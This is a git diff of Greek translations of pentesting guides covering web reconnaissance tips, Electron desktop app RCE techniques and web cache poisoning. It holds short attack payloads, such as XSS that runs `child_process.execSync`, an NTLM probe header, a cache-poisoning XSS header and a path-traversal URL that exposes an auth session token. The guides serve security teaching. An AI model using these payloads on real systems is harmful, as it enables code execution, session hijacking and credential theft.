Μπορείτε για παράδειγμα να χρησιμοποιήσετε το [**JSMon**](https://github.com/robre/jsmon)**.** +- Πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS files με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Σε αρκετές περιπτώσεις θα χρειαστεί να **κατανοήσετε τις regular expressions** που χρησιμοποιούνται. Αυτό θα σας φανεί χρήσιμο: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex) -- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου ανιχνεύτηκαν φόρμες**, καθώς μια αλλαγή σε παράμετρο ή η εμφάνιση μιας νέας φόρμας μπορεί να υποδηλώνει μια νέα πιθανή ευάλωτη λειτουργικότητα. +- Σε πολλές περιπτώσεις, θα χρειαστεί να **κατανοήσετε τις regular expressions** που χρησιμοποιούνται. Αυτό θα βοηθήσει: [https://regex101.com/](https://regex101.com) ή [https://pythonium.net/regex](https://pythonium.net/regex) +- Μπορείτε επίσης να **παρακολουθείτε τα αρχεία όπου εντοπίζονται forms**, καθώς μια αλλαγή σε ένα parameter ή η εμφάνιση ενός νέου form μπορεί να υποδεικνύει νέα πιθανή ευπάθεια. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -314,21 +314,21 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται **502 Proxy Error** -Αν οποιαδήποτε σελίδα **απαντά** με αυτόν τον **κωδικό**, πιθανώς είναι **κακώς ρυθμισμένος proxy**. **Αν στείλετε ένα HTTP request όπως: `GET https://google.com HTTP/1.1`** (με το Host header και άλλα κοινά headers), ο **proxy** θα προσπαθήσει να **προσπελάσει** το _**google.com**_ **και θα έχετε βρει ένα** SSRF. +Αν κάποια σελίδα **απαντά** με αυτόν τον **κωδικό**, πιθανότατα είναι **κακώς διαμορφωμένος proxy**. **Αν στείλετε ένα HTTP request όπως: `GET https://google.com HTTP/1.1`** (με το host header και άλλα κοινά headers), ο **proxy** θα προσπαθήσει να **προσπελάσει** το _**google.com**_ **και θα έχετε βρει ένα** SSRF. **NTLM Authentication - Info disclosure** -Αν ο server που ζητάει authentication είναι **Windows** ή βρείτε μια login σελίδα που ζητάει τα **credentials** σας (και ζητάει **domain** **name**), μπορείτε να προκαλέσετε **information disclosure**.\ -**Στείλτε** το **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που δουλεύει η **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στο header "WWW-Authenticate".\ -Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το nmap plugin "_http-ntlm-info.nse_". +Αν ο server που ζητάει authentication είναι **Windows** ή βρείτε μια σελίδα login που ζητάει τα **credentials** σας (και ζητάει **domain name**), μπορείτε να προκαλέσετε **information disclosure**.\ +**Στείλτε** το **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του τρόπου που λειτουργεί η **NTLM authentication**, ο server θα απαντήσει με εσωτερικές πληροφορίες (IIS version, Windows version...) μέσα στο header "WWW-Authenticate".\ +Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Είναι πιθανό να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι μπορεί να είναι **κρυμμένο** εκεί μέσα. +Είναι δυνατόν να **τοποθετήσετε περιεχόμενο** μέσα σε μια **Redirection**. Αυτό το περιεχόμενο **δεν θα εμφανιστεί στον χρήστη** (καθώς ο browser θα εκτελέσει την ανακατεύθυνση) αλλά κάτι μπορεί να είναι **κρυμμένο** εκεί μέσα. ### Web Vulnerabilities Checking -Τώρα που έχει γίνει μια ολοκληρωμένη απογραφή της web εφαρμογής, είναι ώρα να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε το checklist εδώ: +Τώρα που έχει πραγματοποιηθεί μια πλήρης καταγραφή της web εφαρμογής, είναι ώρα να ελεγχθούν πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε το checklist εδώ: {{#ref}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index 34c6618c8..5d8f9a84d 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md @@ -1,17 +1,17 @@ -# Εφαρμογές Electron για Desktop +# Electron Desktop Apps {{#include ../../../banners/hacktricks-training.md}} ## Εισαγωγή -Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν κάποιοι μηχανισμοί ασφάλειας των σύγχρονων browsers. +Το Electron συνδυάζει ένα τοπικό backend (με **NodeJS**) και ένα frontend (**Chromium**), αν και του λείπουν κάποιοι μηχανισμοί ασφαλείας των σύγχρονων περιηγητών. -Συνήθως μπορείς να βρεις τον κώδικα της εφαρμογής Electron μέσα σε ένα αρχείο `.asar`. Για να αποκτήσεις τον κώδικα πρέπει να τον εξαγάγεις: +Συνήθως μπορεί να βρείτε τον κώδικα της εφαρμογής electron μέσα σε ένα αρχείο `.asar`. Για να αποκτήσετε τον κώδικα, πρέπει να το εξάγετε: ```bash npx asar extract app.asar destfolder #Extract everything npx asar extract-file app.asar main.js #Extract just a file ``` -Στον πηγαίο κώδικα μιας Electron app, μέσα στο `packet.json`, μπορείτε να βρείτε το `main.js` που έχει οριστεί και στο οποίο ορίζονται οι ρυθμίσεις ασφάλειας. +Στον πηγαίο κώδικα μιας εφαρμογής Electron, μέσα στο `packet.json`, μπορείτε να βρείτε δηλωμένο το αρχείο `main.js` όπου έχουν οριστεί οι ρυθμίσεις ασφάλειας. ```json { "name": "standard-notes", @@ -20,7 +20,7 @@ npx asar extract-file app.asar main.js #Extract just a file Το Electron έχει 2 τύπους διεργασιών: - Main Process (έχει πλήρη πρόσβαση στο NodeJS) -- Renderer Process (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφαλείας) +- Renderer Process (θα πρέπει να έχει περιορισμένη πρόσβαση στο NodeJS για λόγους ασφάλειας) ![](<../../../images/image (182).png>) @@ -32,18 +32,18 @@ let win = new BrowserWindow() //Open Renderer Process win.loadURL(`file://path/to/index.html`) ``` -Οι ρυθμίσεις της **renderer process** μπορούν να **διαμορφωθούν** στην **main process** μέσα στο αρχείο main.js. Ορισμένες από αυτές τις ρυθμίσεις θα **αποτρέψουν το Electron application από το να αποκτήσει RCE** ή άλλες ευπάθειες εάν οι **ρυθμίσεις είναι σωστά διαμορφωμένες**. +Οι ρυθμίσεις της **διαδικασίας renderer** μπορούν να **διαμορφωθούν** στη **διαδικασία main** μέσα στο αρχείο main.js. Μερικές από τις ρυθμίσεις θα **εμποδίσουν την εφαρμογή Electron να αποκτήσει RCE** ή άλλες ευπάθειες εάν οι **ρυθμίσεις είναι σωστά διαμορφωμένες**. -Η εφαρμογή Electron μπορεί να αποκτήσει πρόσβαση στη συσκευή μέσω Node apis, αν και μπορεί να ρυθμιστεί ώστε να το αποτρέψει: +Η εφαρμογή Electron **θα μπορούσε να έχει πρόσβαση στη συσκευή** μέσω Node apis αν και μπορεί να διαμορφωθεί ώστε να το αποτρέψει: -- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι `on`, επιτρέπει την πρόσβαση σε Node features από τη renderer process. -- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι `off`, οι main και renderer processes δεν είναι απομονωμένες. -- **`preload`** - είναι κενό από προεπιλογή. -- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι `off` από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS. +- **`nodeIntegration`** - είναι `off` από προεπιλογή. Αν είναι on, επιτρέπει την πρόσβαση σε λειτουργίες του Node από τη διαδικασία renderer. +- **`contextIsolation`** - είναι `on` από προεπιλογή. Αν είναι off, οι διεργασίες main και renderer δεν είναι απομονωμένες. +- **`preload`** - κενό από προεπιλογή. +- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - είναι off από προεπιλογή. Θα περιορίσει τις ενέργειες που μπορεί να εκτελέσει το NodeJS. - Node Integration σε Workers - **`nodeIntegrationInSubframes`**- είναι `off` από προεπιλογή. -- Αν το **`nodeIntegration`** είναι **enabled**, αυτό θα επέτρεπε τη χρήση των **Node.js APIs** σε web pages που είναι **φορτωμένες σε iframes** μέσα σε μια Electron application. -- Αν το **`nodeIntegration`** είναι **disabled**, τότε τα preloads θα φορτωθούν στο iframe +- Εάν **`nodeIntegration`** είναι **enabled**, αυτό θα επέτρεπε τη χρήση των **Node.js APIs** σε σελίδες web που είναι **φορτωμένες σε iframes** μέσα σε μια εφαρμογή Electron. +- Εάν **`nodeIntegration`** είναι **disabled**, τότε τα preloads θα φορτωθούν στο iframe Παράδειγμα διαμόρφωσης: ```javascript @@ -95,7 +95,7 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" /> src="x" onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` -### Καταγραφή traffic +### Καταγραφή κυκλοφορίας Τροποποιήστε τη διαμόρφωση start-main και προσθέστε τη χρήση ενός proxy όπως: ```javascript @@ -103,7 +103,8 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ``` ## Electron Local Code Injection -Αν μπορείτε να εκτελέσετε τοπικά μια Electron App, είναι πιθανό να καταφέρετε να την κάνετε να εκτελέσει αυθαίρετο javascript κώδικα. Δείτε πώς στο: +Εάν μπορείτε να εκτελέσετε τοπικά ένα Electron App, είναι πιθανό να το αναγκάσετε να εκτελέσει αυθαίρετο javascript κώδικα. Δείτε πώς στο: + {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -111,7 +112,7 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" /> ## RCE: XSS + nodeIntegration -Αν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας σελίδας web μπορεί να χρησιμοποιήσει λειτουργίες του Node.js εύκολα απλώς καλώντας τη `require()`. Για παράδειγμα, ο τρόπος εκτέλεσης της εφαρμογής calc στα Windows είναι: +Εάν το **nodeIntegration** είναι ρυθμισμένο σε **on**, το JavaScript μιας ιστοσελίδας μπορεί εύκολα να χρησιμοποιήσει δυνατότητες του Node.js απλώς καλώντας το `require()`. Για παράδειγμα, ο τρόπος για να εκτελέσετε την εφαρμογή calc στα Windows είναι: ```html ``` -> [!NOTE] > **Αν το `contextIsolation` είναι ενεργοποιημένο, αυτό δεν θα δουλέψει** +> [!NOTE] > **Αν το `contextIsolation` είναι ενεργοποιημένο, αυτό δεν θα λειτουργήσει** ## RCE: XSS + contextIsolation -Το _**contextIsolation**_ εισάγει τους **διαχωρισμένους contexts μεταξύ των scripts της web σελίδας και του internal JavaScript κώδικα του Electron** ώστε η εκτέλεση JavaScript του κάθε κομματιού κώδικα να μην επηρεάζει το άλλο. Πρόκειται για μια απαραίτητη λειτουργία για να εξαλειφθεί η πιθανότητα RCE. +Το _**contextIsolation**_ εισάγει τους **διαχωρισμένους χώρους εκτέλεσης μεταξύ των scripts της σελίδας και του εσωτερικού JavaScript κώδικα του Electron**, ώστε η εκτέλεση JavaScript του κάθε κομματιού κώδικα να μην επηρεάζει το άλλο. Αυτό είναι ένα απαραίτητο χαρακτηριστικό για να εξαλειφθεί η πιθανότητα RCE. -Αν τα contexts δεν είναι απομονωμένα, ένας επιτιθέμενος μπορεί: +Αν οι χώροι δεν είναι απομονωμένοι, ένας επιτιθέμενος μπορεί: -1. Εκτελέσει **arbitrary JavaScript in renderer** (XSS ή πλοήγηση σε εξωτερικές σελίδες) -2. **Αντικαταστήσει την built-in μέθοδο** που χρησιμοποιείται στο preload ή στον internal κώδικα του Electron για να αποκτήσει έλεγχο της συνάρτησης -3. **Προκαλέσει** τη χρήση της **αντικαταστημένης συνάρτησης** +1. Να εκτελέσει **arbitrary JavaScript in renderer** (XSS ή πλοήγηση σε εξωτερικούς ιστότοπους) +2. Να **overwrite the built-in method** που χρησιμοποιείται στο preload ή στον εσωτερικό κώδικα του Electron για να πάρει τον έλεγχο μιας λειτουργίας +3. Να **trigger** τη χρήση της **overwritten function** 4. RCE? -There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code: +Υπάρχουν 2 σημεία όπου built-in μέθοδοι μπορούν να υπεργραφούν: στο preload code ή στον εσωτερικό κώδικα του Electron: {{#ref}} @@ -178,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md electron-contextisolation-rce-via-ipc.md {{#endref}} -### Παράκαμψη click event +### Bypass click event -Αν υπάρχουν περιορισμοί όταν κάνετε click σε ένα link, ίσως να μπορείτε να τους παρακάμψετε **κάνoντας middle click** αντί για το κανονικό left click +Αν εφαρμόζονται περιορισμοί όταν κάνεις κλικ σε ένα σύνδεσμο, ίσως μπορέσεις να τους παρακάμψεις **κάνoντας a middle click** αντί για το συνηθισμένο left click ```javascript window.addEventListener('click', (e) => { ``` ## RCE via shell.openExternal -Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα δείτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) +Για περισσότερες πληροφορίες σχετικά με αυτά τα παραδείγματα, δείτε [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) και [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/) -Κατά την ανάπτυξη μιας Electron desktop εφαρμογής, η διασφάλιση των σωστών ρυθμίσεων για `nodeIntegration` και `contextIsolation` είναι κρίσιμη. Έχει αποδειχθεί ότι **client-side remote code execution (RCE)** που στοχεύει preload scripts ή Electron's native code από τη main process αποτρέπεται αποτελεσματικά με αυτές τις ρυθμίσεις. +Κατά την ανάπτυξη μιας Electron desktop εφαρμογής, η σωστή ρύθμιση των `nodeIntegration` και `contextIsolation` είναι κρίσιμη. Έχει διαπιστωθεί ότι η **client-side remote code execution (RCE)** που στοχεύει preload scripts ή το native code του Electron από τη main process αποτρέπεται ουσιαστικά με αυτές τις ρυθμίσεις. -Όταν ένας χρήστης αλληλεπιδρά με links ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένα event listeners, τα οποία είναι κρίσιμα για την ασφάλεια και τη λειτουργικότητα της εφαρμογής: +Όταν ένας χρήστης αλληλεπιδρά με συνδέσμους ή ανοίγει νέα παράθυρα, ενεργοποιούνται συγκεκριμένοι event listeners, οι οποίοι είναι κρίσιμοι για την ασφάλεια και τη λειτουργικότητα της εφαρμογής: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} webContents.on("will-navigate", function (event, url) {} ``` -Αυτοί οι listeners είναι **υπερκαθορισμένοι από την επιτραπέζια εφαρμογή** για να υλοποιήσουν τη δική της **business logic**. Η εφαρμογή αξιολογεί εάν ένας πλοηγημένος σύνδεσμος πρέπει να ανοίξει εσωτερικά ή σε εξωτερικό web browser. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Αν αυτή η συνάρτηση επιστρέψει `false`, σημαίνει ότι ο σύνδεσμος πρέπει να ανοίξει εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`. +Αυτοί οι listeners **υπερκαθορίζονται από την επιτραπέζια εφαρμογή** για να υλοποιήσει τη δική της **επιχειρηματική λογική**. Η εφαρμογή αξιολογεί εάν ένας πλοηγημένος σύνδεσμος πρέπει να ανοιχτεί εσωτερικά ή σε εξωτερικό πρόγραμμα περιήγησης. Αυτή η απόφαση συνήθως λαμβάνεται μέσω μιας συνάρτησης, `openInternally`. Εάν αυτή η συνάρτηση επιστρέψει `false`, σημαίνει ότι ο σύνδεσμος πρέπει να ανοιχτεί εξωτερικά, χρησιμοποιώντας τη συνάρτηση `shell.openExternal`. -**Εδώ είναι ένας απλοποιημένος ψευδοκώδικας:** +**Εδώ είναι ένα απλοποιημένο pseudocode:** ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>) ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>) -Οι βέλτιστες πρακτικές ασφαλείας για το Electron JS συστήνουν να μην γίνεται αποδοχή μη αξιόπιστου περιεχομένου με τη συνάρτηση `openExternal`, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διάφορων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να ενεργοποιήσουν RCE. Για αναλυτικά παραδείγματα και περαιτέρω εξήγηση πάνω σε αυτό το θέμα, μπορείτε να ανατρέξετε σε [αυτόν τον πόρο](https://positive.security/blog/url-open-rce#windows-10-19042), ο οποίος περιλαμβάνει παραδείγματα Windows protocol ικανά να εκμεταλλευτούν αυτή την ευπάθεια. +Οι βέλτιστες πρακτικές ασφάλειας του Electron JS συμβουλεύουν να μην γίνεται αποδοχή μη αξιόπιστου περιεχομένου μέσω της `openExternal` συνάρτησης, καθώς αυτό μπορεί να οδηγήσει σε RCE μέσω διάφορων πρωτοκόλλων. Τα λειτουργικά συστήματα υποστηρίζουν διαφορετικά πρωτόκολλα που μπορεί να προκαλέσουν RCE. Για λεπτομερή παραδείγματα και περαιτέρω επεξήγηση πάνω στο θέμα, μπορείτε να αναφερθείτε σε [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), το οποίο περιλαμβάνει Windows πρωτόκολλα παραδειγμάτων ικανά να εκμεταλλευτούν αυτή την ευπάθεια. -Στο macos, η συνάρτηση `openExternal` μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών, π.χ. `shell.openExternal('file:///System/Applications/Calculator.app')`. +Σε macos, η `openExternal` συνάρτηση μπορεί να εκμεταλλευτεί για να εκτελέσει αυθαίρετες εντολές, όπως στο `shell.openExternal('file:///System/Applications/Calculator.app')`. -**Παραδείγματα Windows protocol exploits περιλαμβάνουν:** +**Παραδείγματα εκμεταλλεύσεων Windows πρωτοκόλλων περιλαμβάνουν:** ```html ``` -## **RCE: XSS + Old Chromium** +## **RCE: XSS + παλιό chromium** -Εάν το **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλαιό** και υπάρχουν **γνωστές** **ευπάθειες** σε αυτό, μπορεί να είναι δυνατό να **εκμεταλλευτείτε** αυτές και να αποκτήσετε RCE μέσω XSS.\ +Εάν το **chromium** που χρησιμοποιείται από την εφαρμογή είναι **παλιό** και υπάρχουν **γνωστές** **ευπάθειες**, μπορεί να είναι δυνατό να το **εκμεταλλευτείτε και να αποκτήσετε RCE μέσω XSS**.\ Μπορείτε να δείτε ένα παράδειγμα σε αυτό το **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) -## **XSS Phishing via Internal URL regex bypass** +## **XSS Phishing μέσω bypass του εσωτερικού URL regex** -Σε περίπτωση που βρήκατε XSS αλλά **δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε internal files** μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να **steal credentials μέσω phishing**. +Υποθέτοντας ότι βρήκατε ένα XSS αλλά **δεν μπορείτε να ενεργοποιήσετε RCE ή να κλέψετε εσωτερικά αρχεία**, μπορείτε να προσπαθήσετε να το χρησιμοποιήσετε για να **αποσπάσετε διαπιστευτήρια μέσω phishing**. -Πρώτα απ' όλα πρέπει να ξέρετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, ελέγχοντας τον JS κώδικα στο front-end: +Καταρχάς πρέπει να γνωρίζετε τι συμβαίνει όταν προσπαθείτε να ανοίξετε ένα νέο URL, ελέγχοντας τον JS κώδικα στο front-end: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -Η κλήση στην **`openInternally`** θα αποφασίσει αν ο **link** θα **opened** στο **desktop window**, καθώς είναι ένα link που ανήκει στην πλατφόρμα, **or** αν θα ανοίξει στον **browser as a 3rd party resource**. +Η κλήση στο **`openInternally`** θα αποφασίσει αν το **link** θα **ανοίξει** στο **παράθυρο επιφάνειας εργασίας** καθώς είναι ένα link που ανήκει στην πλατφόρμα, **ή** αν θα ανοίξει στο **πρόγραμμα περιήγησης ως πόρος τρίτου μέρους**. -Σε περίπτωση που η **regex** που χρησιμοποιείται από τη συνάρτηση είναι **vulnerable to bypasses** (για παράδειγμα λόγω **not escaping the dots of subdomains**), ένας attacker θα μπορούσε να εκμεταλλευτεί το **XSS** για να **open a new window which** θα βρίσκεται στην υποδομή του attacker **asking for credentials** προς τον user: +Σε περίπτωση που το **regex** που χρησιμοποιείται από τη συνάρτηση είναι **ευάλωτο σε παρακάμψεις** (για παράδειγμα **μη διαφυγής των τελειών των υποτομέων**) ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί το XSS για να **ανοίξει ένα νέο παράθυρο το οποίο** θα βρισκόταν στην υποδομή του επιτιθέμενου **ζητώντας διαπιστευτήρια** από τον χρήστη: ```html ``` -### Elicit a harmful response from the back-end server +### Προκαλέστε μια επιβλαβή απάντηση από τον back-end server -Μετά τον εντοπισμό της παράμετρου/κεφαλίδας, ελέγξτε πώς **φιλτράρεται** και **πού** **αντανακλάται** ή επηρεάζει την απόκριση από την κεφαλίδα. Μπορείτε να το καταχραστείτε (εκτελέσετε XSS ή φορτώσετε JS που ελέγχετε; προκαλέσετε DoS;...) +Αφού εντοπίσετε το parameter/header, ελέγξτε πώς **φιλτράρεται** και **πού** **ανακλάται** ή επηρεάζει την απόκριση από το header. Μπορείτε να το εκμεταλλευτείτε; (να εκτελέσετε XSS ή να φορτώσετε JS κώδικα που ελέγχετε; να πραγματοποιήσετε DoS;...) ### Get the response cached -Μόλις έχετε **εντοπίσει** τη **σελίδα** που μπορεί να καταχραστεί, ποια **παράμετρος**/**κεφαλίδα** να χρησιμοποιήσετε και **πώς** να την **καταχραστείτε**, πρέπει να βάλετε τη σελίδα στην cache. Ανάλογα με τον πόρο που προσπαθείτε να βάλτε στην cache αυτό μπορεί να πάρει λίγο χρόνο, ίσως χρειαστεί να προσπαθείτε για αρκετά δευτερόλεπτα. +Μόλις έχετε **εντοπίσει** την **σελίδα** που μπορεί να εκμεταλλευτεί, ποιο **parameter**/**header** να χρησιμοποιήσετε και **πώς** να το **εκμεταλλευτείτε**, πρέπει να κάνετε την σελίδα να μπει στην cache. Ανάλογα με τον πόρο που προσπαθείτε να βάλετε στην cache αυτό μπορεί να πάρει χρόνο — ίσως χρειαστεί να δοκιμάζετε για αρκετά δευτερόλεπτα. -Η κεφαλίδα **`X-Cache`** στην απόκριση μπορεί να είναι πολύ χρήσιμη καθώς μπορεί να έχει την τιμή **`miss`** όταν το request δεν είχε cache και την τιμή **`hit`** όταν είναι cached.\ -Η κεφαλίδα **`Cache-Control`** είναι επίσης ενδιαφέρουσα για να γνωρίζετε αν ένας resource cacheάρεται και πότε θα γίνει η επόμενη cache: `Cache-Control: public, max-age=1800` +Το header **`X-Cache`** στην απόκριση μπορεί να είναι πολύ χρήσιμο καθώς μπορεί να έχει την τιμή **`miss`** όταν το αίτημα δεν ήταν cached και την τιμή **`hit`** όταν είναι cached.\ +Το header **`Cache-Control`** είναι επίσης ενδιαφέρον για να ξέρετε αν ένας πόρος γίνεται cache και πότε θα γίνει ξανά: `Cache-Control: public, max-age=1800` -Μια ακόμα ενδιαφέρουσα κεφαλίδα είναι η **`Vary`**. Αυτή η κεφαλίδα συχνά χρησιμοποιείται για να **υποδείξει επιπλέον κεφαλίδες** που θεωρούνται **μέρος του cache key** ακόμα κι αν συνήθως δεν είναι keyed. Επομένως, αν ο χρήστης γνωρίζει το `User-Agent` του θύματος που στοχεύει, μπορεί να poison the cache για τους χρήστες που χρησιμοποιούν αυτό το συγκεκριμένο `User-Agent`. +Ένα ακόμα ενδιαφέρον header είναι το **`Vary`**. Αυτό το header χρησιμοποιείται συχνά για να **υποδείξει επιπλέον headers** που θεωρούνται **μέρος του cache key** ακόμα και αν κανονικά δεν είναι keyed. Επομένως, αν ο επιτιθέμενος γνωρίζει το `User-Agent` του victim που στοχεύει, μπορεί να poison the cache για τους χρήστες που χρησιμοποιούν αυτόν τον συγκεκριμένο `User-Agent`. -Άλλη μία κεφαλίδα σχετική με την cache είναι η **`Age`**. Ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο βρίσκεται στην proxy cache. +Άλλο ένα header σχετικό με την cache είναι το **`Age`**. Ορίζει τα δευτερόλεπτα που το αντικείμενο βρίσκεται στην proxy cache. -Όταν κάνετε cache ένα request, να είστε **προσεκτικοί με τις κεφαλίδες που χρησιμοποιείτε** γιατί μερικές απ' αυτές θα μπορούσαν να **χρησιμοποιηθούν απροσδόκητα** ως **μέρος του cache key** και το **θύμα θα χρειαστεί να χρησιμοποιήσει την ίδια κεφαλίδα**. Πάντα **δοκιμάζετε** ένα Cache Poisoning με **διαφορετικά προγράμματα περιήγησης** για να ελέγξετε αν λειτουργεί. +Όταν κάνετε caching ένα request, να είστε **προσεκτικοί με τα headers που χρησιμοποιείτε** γιατί κάποια από αυτά μπορεί να χρησιμοποιηθούν **αναπάντεχα** ως **keyed** και ο **victim θα χρειαστεί να χρησιμοποιήσει το ίδιο header**. Πάντα **test** ένα Cache Poisoning με **διαφορετικούς browsers** για να ελέγξετε αν δουλεύει. -## Exploiting Examples +## Παραδείγματα εκμετάλλευσης -### Easiest example +### Το πιο απλό παράδειγμα -Μια κεφαλίδα όπως η `X-Forwarded-For` αντανακλάται στην απόκριση χωρίς φιλτράρισμα.\ -Μπορείτε να στείλετε ένα βασικό XSS payload και poison the cache ώστε όποιος επισκέπτεται τη σελίδα να υποστεί XSS: +Ένα header όπως το `X-Forwarded-For` ανακλάται στην απόκριση χωρίς φιλτράρισμα.\ +Μπορείτε να στείλετε ένα βασικό XSS payload και να poison the cache έτσι ώστε όλοι όσοι επισκέπτονται τη σελίδα να υποστούν XSS: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_Σημειώστε ότι αυτό θα poison ένα request προς `/en?region=uk` και όχι προς `/en`_ +_Σημειώστε ότι αυτό θα poison-άρει ένα request προς `/en?region=uk` και όχι προς `/en`_ ### Cache poisoning to DoS @@ -79,25 +79,25 @@ _Σημειώστε ότι αυτό θα poison ένα request προς `/en?reg cache-poisoning-to-dos.md {{#endref}} -### Cache poisoning through CDNs +### Cache poisoning μέσω CDNs -Στο **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** εξηγείται το ακόλουθο απλό σενάριο: +In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario: -- Το CDN θα αποθηκεύει στην cache οτιδήποτε κάτω από `/share/` -- Το CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως μπορεί να χρησιμοποιηθεί ως **path traversal to access other sensitive locations that will be cached** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` -- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **contains the auth token**. +- Ο CDN θα αποθηκεύσει στην cache οτιδήποτε κάτω από `/share/` +- Ο CDN ΔΕΝ θα αποκωδικοποιήσει ούτε θα κανονικοποιήσει το `%2F..%2F`, επομένως μπορεί να χρησιμοποιηθεί ως **path traversal για πρόσβαση σε άλλες ευαίσθητες τοποθεσίες που θα αποθηκευτούν στην cache** όπως `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- Ο web server ΘΑ αποκωδικοποιήσει και θα κανονικοποιήσει το `%2F..%2F`, και θα απαντήσει με `/api/auth/session`, το οποίο **περιέχει το auth token**. -### Using web cache poisoning to exploit cookie-handling vulnerabilities +### Χρήση web cache poisoning για εκμετάλλευση cookie-handling vulnerabilities -Τα Cookies μπορούν επίσης να αντανακλώνται στην απόκριση μιας σελίδας. Αν μπορείτε να το εκμεταλλευτείτε για να προκαλέσετε, για παράδειγμα, μια XSS, θα μπορούσατε να εκμεταλλευτείτε την XSS σε 